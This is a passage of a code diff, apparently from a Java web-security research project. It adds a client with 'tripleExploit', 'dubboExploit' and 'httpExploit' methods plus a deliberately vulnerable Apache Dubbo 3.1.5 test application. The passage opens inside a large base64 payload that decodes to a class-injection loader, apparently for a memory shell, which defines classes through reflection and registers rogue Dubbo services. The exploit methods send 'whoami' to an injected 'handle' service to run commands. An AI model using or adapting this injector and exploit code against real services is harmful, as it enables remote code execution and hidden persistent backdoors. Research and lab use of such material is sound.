PT0IABoBAAY8aW5pdD4BAAMoKVYBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAeDAAcAB0KAAQAIAEAJmphdmEvdXRpbC9jb25jdXJyZW50L0NvbmN1cnJlbnRIYXNoTWFwBwAiCgAjACAMAAoACwkAAgAlDAAPABAJAAIAJwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwApCgAqACAMAA0ADgkAAgAsAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7DAAuAC8KACoAMAEAD3JlZ2lzdGVyU2VydmljZQwAMgASCgACADMBAAh0b1N0cmluZwwANQASCgAqADYBABJ1bmV4Y2VwdGVkIGVycm9yOiAIADgBAA9nZXRFcnJvck1lc3NhZ2UBACkoTGphdmEvbGFuZy9UaHJvd2FibGU7KUxqYXZhL2xhbmcvU3RyaW5nOwwAOgA7CgACADwBABBqYXZhL2xhbmcvU3lzdGVtBwA+AQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07DABAAEEJAD8AQgEAE2phdmEvaW8vUHJpbnRTdHJlYW0HAEQBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDABGAEcKAEUASAEACGdldFNoZWxsAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczwqPjsBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwBNAQAvb3JnL2FwYWNoZS9kdWJiby9jb21tb24vYnl0ZWNvZGUvQ2xhc3NHZW5lcmF0b3IHAE8BAChvcmcvYXBhY2hlL2R1YmJvL2NvbW1vbi91dGlscy9DbGFzc1V0aWxzBwBRAQAOZ2V0Q2xhc3NMb2FkZXIBACooTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAFMAVAoAUgBVDAAVABIKAAIAVwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcAWQEACWxvYWRDbGFzcwwAWwBLCgBaAFwBABBqYXZhL2xhbmcvU3RyaW5nBwBeAQAPamF2YS9sYW5nL0NsYXNzBwBgAQAMZGVjb2RlQmFzZTY0AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgwAYgBjCgACAGQBAA5nemlwRGVjb21wcmVzcwEABihbQilbQgwAZgBnCgACAGgBAAtkZWZpbmVDbGFzcwgAagEAAltCBwBsAQARamF2YS9sYW5nL0ludGVnZXIHAG4BAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsMAHAAcQkAbwByAQAeamF2YS9zZWN1cml0eS9Qcm90ZWN0aW9uRG9tYWluBwB0AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DAB2AHcKAGEAeAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAcAegEADXNldEFjY2Vzc2libGUBAAQoWilWDAB8AH0KAHsAfgEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7DACAAIEKAG8AggEAE2dldFByb3RlY3Rpb25Eb21haW4BACIoKUxqYXZhL3NlY3VyaXR5L1Byb3RlY3Rpb25Eb21haW47DACEAIUKAGEAhgEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAiACJCgB7AIoBABxyZWdpc3RlckluSmF2YXNzaXN0Q2xhc3NQb29sAQAcKExqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7W0IpVgwAjACNCgACAI4BAAFbCACQAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DACSAJMKAAQAlAEAB2dldE5hbWUMAJYAEgoAYQCXAQACXSAIAJkBAAxnZXRDbGFzc1Bvb2wBAC4oTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmFzc2lzdC9DbGFzc1Bvb2w7DACbAJwKAFAAnQEACW1ha2VDbGFzcwgAnwEAE2phdmEvaW8vSW5wdXRTdHJlYW0HAKEBAAlnZXRNZXRob2QMAKMAdwoAYQCkAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQcApgEABShbQilWDAAcAKgKAKcAqQEAEGphdmEudXRpbC5CYXNlNjQIAKsBAAdmb3JOYW1lDACtAEsKAGEArgEACmdldERlY29kZXIIALABAAZkZWNvZGUIALIBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCAC0AQAMZGVjb2RlQnVmZmVyCAC2AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAuAC5CgBhALoBABNqYXZhL2lvL0lPRXhjZXB0aW9uBwC8AQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0HAL4KAL8AIAEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtBwDBAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAcAMMKAMIAxAEABHJlYWQBAAUoW0IpSQwAxgDHCgDCAMgBAAV3cml0ZQEAByhbQklJKVYMAMoAywoAvwDMAQALdG9CeXRlQXJyYXkBAAQoKVtCDADOAM8KAL8A0AEABWNsb3NlDADSAB0KAMIA0woAvwDTAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24HANYMABEAEgoAAgDYAQANbm9ybWFsaXplUGF0aAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DADaANsKAAIA3AEAB2lzRW1wdHkBAAMoKVoMAN4A3woAXwDgAQAiamF2YS9sYW5nL0lsbGVnYWxBcmd1bWVudEV4Y2VwdGlvbgcA4gEAFnBhdGggbXVzdCBub3QgYmUgZW1wdHkIAOQMABwARwoA4wDmAQANamF2YS91dGlsL01hcAcA6AEAC2NvbnRhaW5zS2V5AQAVKExqYXZhL2xhbmcvT2JqZWN0OylaDADqAOsLAOkA7AEAF3Jlc29sdmVTZXJ2aWNlQWRkcmVzc2VzDADuANsKAAIA7wEAG2lzUGF0aFJlZ2lzdGVyZWRJbkZyYW1ld29yawEAFShMamF2YS9sYW5nL1N0cmluZzspWgwA8QDyCgACAPMMABkAEgoAAgD1DABKAEsKAAIA9wwAFgASCgACAPkBABR2YWxpZGF0ZVNlcnZpY2VUeXBlcwEAJShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvQ2xhc3M7KVYMAPsA/AoAAgD9AQALaW5zdGFudGlhdGUBACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7DAD/AQAKAAIBAQEAE2NyZWF0ZVNlcnZpY2VDb25maWcBAF4oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9DbGFzcztMamF2YS9sYW5nL09iamVjdDspTG9yZy9hcGFjaGUvZHViYm8vY29uZmlnL1NlcnZpY2VDb25maWc7DAEDAQQKAAIBBQEAC3B1dElmQWJzZW50AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAQcBCAsA6QEJAQAlb3JnL2FwYWNoZS9kdWJiby9jb25maWcvU2VydmljZUNvbmZpZwcBCwEABmV4cG9ydAwBDQAdCgEMAQ4BAAZyZW1vdmUBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVoMARABEQsA6QESAQAVZ2V0UmVnaXN0ZXJlZFNlcnZpY2VzAQAYKClMamF2YS91dGlsL0NvbGxlY3Rpb247DAEUARUKAAIBFgEAFGphdmEvdXRpbC9Db2xsZWN0aW9uBwEYAQAIaXRlcmF0b3IBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7DAEaARsLARkBHAEAEmphdmEvdXRpbC9JdGVyYXRvcgcBHgEAB2hhc05leHQMASAA3wsBHwEhAQAEbmV4dAwBIwC5CwEfASQBAAdnZXRQYXRoCAEmAQAGZXF1YWxzDAEoAOsKAF8BKQEAGygpTGphdmEvdXRpbC9Db2xsZWN0aW9uPCo+OwEAK29yZy9hcGFjaGUvZHViYm8vcnBjL21vZGVsL0FwcGxpY2F0aW9uTW9kZWwHASwBABBnZXRDb25maWdNYW5hZ2VyAQAxKClMb3JnL2FwYWNoZS9kdWJiby9jb25maWcvY29udGV4dC9Db25maWdNYW5hZ2VyOwwBLgEvCgEtATABAAtnZXRTZXJ2aWNlcwgBMgEADGRlZmF1bHRNb2RlbAgBNAEAEGdldERlZmF1bHRNb2R1bGUIATYIAS4BABNqYXZhL3V0aWwvQXJyYXlMaXN0BwE5CgE6ACABAAAIATwBAAR0cmltDAE+ABIKAF8BPwEAAS8IAUEBAApzdGFydHNXaXRoDAFDAPIKAF8BRAEACXN1YnN0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwwBRgFHCgBfAUgBACsoTGphdmEvbGFuZy9DbGFzczwqPjtMamF2YS9sYW5nL0NsYXNzPCo+OylWAQALaXNJbnRlcmZhY2UMAUsA3woAYQFMAQASbm90IGFuIGludGVyZmFjZTogCAFOAQAMZ2V0TW9kaWZpZXJzAQADKClJDAFQAVEKAGEBUgEAGmphdmEvbGFuZy9yZWZsZWN0L01vZGlmaWVyBwFUAQAKaXNBYnN0cmFjdAEABChJKVoMAVYBVwoBVQFYAQAqaW1wbGVtZW50YXRpb24gY2xhc3MgaXMgbm90IGluc3RhbnRpYWJsZTogCAFaAQAQaXNBc3NpZ25hYmxlRnJvbQEAFChMamF2YS9sYW5nL0NsYXNzOylaDAFcAV0KAGEBXgEAFCBkb2VzIG5vdCBpbXBsZW1lbnQgCAFgAQAoKExqYXZhL2xhbmcvQ2xhc3M8Kj47KUxqYXZhL2xhbmcvT2JqZWN0OwEAJmphdmEvbGFuZy9SZWZsZWN0aXZlT3BlcmF0aW9uRXhjZXB0aW9uBwFjAQAWZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwwBZQFmCgBhAWcBAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgcBaQoBagB+AQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAC4AWwKAWoBbQEAFmZhaWxlZCB0byBpbnN0YW50aWF0ZSAIAW8BACooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9UaHJvd2FibGU7KVYMABwBcQoA4wFyAQB1KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvQ2xhc3M8Kj47TGphdmEvbGFuZy9PYmplY3Q7KUxvcmcvYXBhY2hlL2R1YmJvL2NvbmZpZy9TZXJ2aWNlQ29uZmlnPExqYXZhL2xhbmcvT2JqZWN0Oz47CgEMACABAAxzZXRJbnRlcmZhY2UBABQoTGphdmEvbGFuZy9DbGFzczspVgwBdgF3CgEMAXgBAAZzZXRSZWYBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYMAXoBewoBDAF8AQAHc2V0UGF0aAwBfgBHCgEMAX8BAAUxLjAuMAgBgQEACnNldFZlcnNpb24MAYMARwoBDAGEAQADamRrCAGGAQAIc2V0UHJveHkMAYgARwoBDAGJAQAtb3JnL2FwYWNoZS9kdWJiby9jb25maWcvY29udGV4dC9Db25maWdNYW5hZ2VyBwGLAQAOZ2V0QXBwbGljYXRpb24BABYoKUxqYXZhL3V0aWwvT3B0aW9uYWw7DAGNAY4KAYwBjwEAEmphdmEvdXRpbC9PcHRpb25hbAcBkQEABm9yRWxzZQEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAGTAZQKAZIBlQEAKW9yZy9hcGFjaGUvZHViYm8vY29uZmlnL0FwcGxpY2F0aW9uQ29uZmlnBwGXAQAOc2V0QXBwbGljYXRpb24BAC4oTG9yZy9hcGFjaGUvZHViYm8vY29uZmlnL0FwcGxpY2F0aW9uQ29uZmlnOylWDAGZAZoKAQwBmwEAE2dldERlZmF1bHRQcm90b2NvbHMBABIoKUxqYXZhL3V0aWwvTGlzdDsMAZ0BngoBjAGfAQAZKExqYXZhL3V0aWwvQ29sbGVjdGlvbjspVgwAHAGhCgE6AaIBAA5qYXZhL3V0aWwvTGlzdAcBpAsBpQDgAQAMZ2V0UHJvdG9jb2xzDAGnARUKAYwBqAEADHNldFByb3RvY29scwEAEyhMamF2YS91dGlsL0xpc3Q7KVYMAaoBqwoBDAGsAQAUZ2V0RGVmYXVsdFJlZ2lzdHJpZXMMAa4BngoBjAGvAQANZ2V0UmVnaXN0cmllcwwBsQEVCgGMAbIBAA1zZXRSZWdpc3RyaWVzDAG0AasKAQwBtQEAJm9yZy9hcGFjaGUvZHViYm8vY29tbW9uL3V0aWxzL05ldFV0aWxzBwG3AQAMZ2V0TG9jYWxIb3N0DAG5ABIKAbgBugEABnN0cmVhbQEAGygpTGphdmEvdXRpbC9zdHJlYW0vU3RyZWFtOwwBvAG9CwGlAb4QAZQBACBsYW1iZGEkcmVzb2x2ZVNlcnZpY2VBZGRyZXNzZXMkMAEAYChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMb3JnL2FwYWNoZS9kdWJiby9jb25maWcvUHJvdG9jb2xDb25maWc7KUxqYXZhL2xhbmcvU3RyaW5nOwwBwQHCCgACAcMPBgHEAQA8KExvcmcvYXBhY2hlL2R1YmJvL2NvbmZpZy9Qcm90b2NvbENvbmZpZzspTGphdmEvbGFuZy9TdHJpbmc7EAHGAQAiamF2YS9sYW5nL2ludm9rZS9MYW1iZGFNZXRhZmFjdG9yeQcByAEAC21ldGFmYWN0b3J5AQDMKExqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMkTG9va3VwO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvaW52b2tlL01ldGhvZFR5cGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTspTGphdmEvbGFuZy9pbnZva2UvQ2FsbFNpdGU7DAHKAcsKAckBzA8GAc0BAAVhcHBseQEAQyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9mdW5jdGlvbi9GdW5jdGlvbjsMAc8B0BIAAAHRAQAXamF2YS91dGlsL3N0cmVhbS9TdHJlYW0HAdMBAANtYXABADgoTGphdmEvdXRpbC9mdW5jdGlvbi9GdW5jdGlvbjspTGphdmEvdXRpbC9zdHJlYW0vU3RyZWFtOwwB1QHWCwHUAdcBAAIsIAgB2QEAG2phdmEvdXRpbC9zdHJlYW0vQ29sbGVjdG9ycwcB2wEAB2pvaW5pbmcBADYoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL3V0aWwvc3RyZWFtL0NvbGxlY3RvcjsMAd0B3goB3AHfAQAHY29sbGVjdAEAMChMamF2YS91dGlsL3N0cmVhbS9Db2xsZWN0b3I7KUxqYXZhL2xhbmcvT2JqZWN0OwwB4QHiCwHUAeMBABkoTGphdmEvaW8vT3V0cHV0U3RyZWFtOylWDAAcAeUKAEUB5gEAD3ByaW50U3RhY2tUcmFjZQEAGChMamF2YS9pby9QcmludFN0cmVhbTspVgwB6AHpCgAfAeoKAL8A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"); + String s = service.loadBytes(bytes); + System.out.println(s); + } finally { + reference.destroy(); + } + } + + public static void tripleExploit() throws Exception { + String url = "tri://198.18.0.1:50051/org.apache.http.web.handlers.UiHMC.ErrorDubboService$1"; + String b = "yv66vgAAADQABwEANm9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvVWlITUMvRXJyb3JEdWJib1NlcnZpY2UkMQcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAAZoYW5kbGUBAAYoW0IpW0IGAQACAAQAAAAAAAEEAQAFAAYAAAAA"; + byte[] bytes = Base64.getDecoder().decode(b); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + ClassLoader classLoader = ClassGenerator.class.getClassLoader(); + Class clazz = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + ReferenceConfig reference = new ReferenceConfig<>(); + reference.setApplication(new ApplicationConfig("dubbo-consumer")); + reference.setInterface(clazz); + reference.setVersion("1.0.0"); + reference.setProxy("jdk"); + reference.setUrl(url); + + try { + Object svc = reference.get(); + byte[] result = (byte[]) svc.getClass().getMethod("handle", byte[].class).invoke(svc, "whoami".getBytes()); + System.out.println(new String(result)); + } finally { + reference.destroy(); + } + } + + public static void httpSayHello(String baseUrl) throws Exception { + URL url = new URL(baseUrl + "/com.reajason.javaweb.dubbo.DemoService/sayHello"); + HttpURLConnection conn = (HttpURLConnection) url.openConnection(); + conn.setRequestMethod("POST"); + conn.setRequestProperty("Content-Type", "application/json"); + conn.setRequestProperty("tri-service-version", "1.0.0"); + conn.setDoOutput(true); + + try (OutputStream os = conn.getOutputStream()) { + os.write("\"world\"".getBytes()); + os.flush(); + } + + int code = conn.getResponseCode(); + String body = readResponse(conn); + System.out.println("HTTP " + code + ": " + body); + } + + public static void httpExploit(String baseUrl) throws Exception { + String servicePath = "/org.apache.http.web.handlers.UiHMC.ErrorDubboService$1/handle"; + URL url = new URL(baseUrl + servicePath); + HttpURLConnection conn = (HttpURLConnection) url.openConnection(); + conn.setRequestMethod("POST"); + conn.setRequestProperty("Content-Type", "application/json"); + conn.setRequestProperty("tri-service-version", "1.0.0"); + conn.setDoOutput(true); + + String base64Cmd = Base64.getEncoder().encodeToString("whoami".getBytes()); + try (OutputStream os = conn.getOutputStream()) { + os.write(("\"" + base64Cmd + "\"").getBytes()); + os.flush(); + } + + int code = conn.getResponseCode(); + String body = readResponse(conn); + System.out.println("HTTP " + code + ": " + body); + } + + private static String readResponse(HttpURLConnection conn) throws IOException { + InputStream is = conn.getResponseCode() >= 400 ? conn.getErrorStream() : conn.getInputStream(); + if (is == null) { + return ""; + } + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + int n; + while ((n = is.read(buffer)) > 0) { + baos.write(buffer, 0, n); + } + return baos.toString(); + } finally { + is.close(); + } + } + + public static void dubboSayHello(String url) { + ReferenceConfig reference = new ReferenceConfig<>(); + reference.setApplication(new ApplicationConfig("dubbo-consumer")); + reference.setInterface(DemoService.class); + reference.setVersion("1.0.0"); + reference.setUrl(url); + + try { + DemoService service = reference.get(); + String result = service.sayHello("world"); + System.out.println(result); + } finally { + reference.destroy(); + } + } + + public static void dubboExploit() throws Exception { + String url = "dubbo://198.18.0.1:50051/org.apache.http.web.handlers.VTcIU.AuthDubboService"; + String b = "yv66vgAAADQABwEANW9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvVlRjSVUvQXV0aER1YmJvU2VydmljZSQxBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABmhhbmRsZQEABihbQilbQgYBAAIABAAAAAAAAQQBAAUABgAAAAA="; + byte[] bytes = Base64.getDecoder().decode(b); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + ClassLoader classLoader = ClassGenerator.class.getClassLoader(); + Class clazz = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + ReferenceConfig reference = new ReferenceConfig<>(); + reference.setApplication(new ApplicationConfig("dubbo-consumer")); + reference.setInterface(clazz); + reference.setVersion("1.0.0"); + reference.setProxy("jdk"); + reference.setUrl(url); + + try { + Object svc = reference.get(); + byte[] result = (byte[]) svc.getClass().getMethod("handle", byte[].class).invoke(svc, "whoami".getBytes()); + System.out.println(new String(result)); + } finally { + reference.destroy(); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } + + private static void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) { + try { + Object pool = ClassGenerator.getClassPool(classLoader); + pool.getClass().getMethod("makeClass", java.io.InputStream.class) + .invoke(pool, new ByteArrayInputStream(classBytes)); + } catch (Throwable ignored) { + } + } +} diff --git a/vul/vul-dubbo315/src/main/java/com/reajason/javaweb/dubbo/VulDubbo315Application.java b/vul/vul-dubbo315/src/main/java/com/reajason/javaweb/dubbo/VulDubbo315Application.java new file mode 100644 index 00000000..9e0046d7 --- /dev/null +++ b/vul/vul-dubbo315/src/main/java/com/reajason/javaweb/dubbo/VulDubbo315Application.java @@ -0,0 +1,15 @@ +package com.reajason.javaweb.dubbo; + +import org.apache.dubbo.config.spring.context.annotation.EnableDubbo; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +@EnableDubbo +public class VulDubbo315Application { + + public static void main(String[] args) { + SpringApplication.run(VulDubbo315Application.class, args); + } + +} diff --git a/vul/vul-dubbo315/src/main/resources/application.properties b/vul/vul-dubbo315/src/main/resources/application.properties new file mode 100644 index 00000000..a8e7754c --- /dev/null +++ b/vul/vul-dubbo315/src/main/resources/application.properties @@ -0,0 +1,15 @@ +# Spring boot application +spring.application.name=dubbo-auto-configuration-provider-demo +# Base packages to scan Dubbo Component: @org.apache.dubbo.config.annotation.Service +dubbo.scan.base-packages=com.reajason.javaweb.vuldubbo315 + +# Dubbo Application +## The default value of dubbo.application.name is ${spring.application.name} +## dubbo.application.name=${spring.application.name} + +# Dubbo Protocol +dubbo.protocol.name=tri +dubbo.protocol.port=50051 + +## Dubbo Registry +dubbo.registry.address=N/A diff 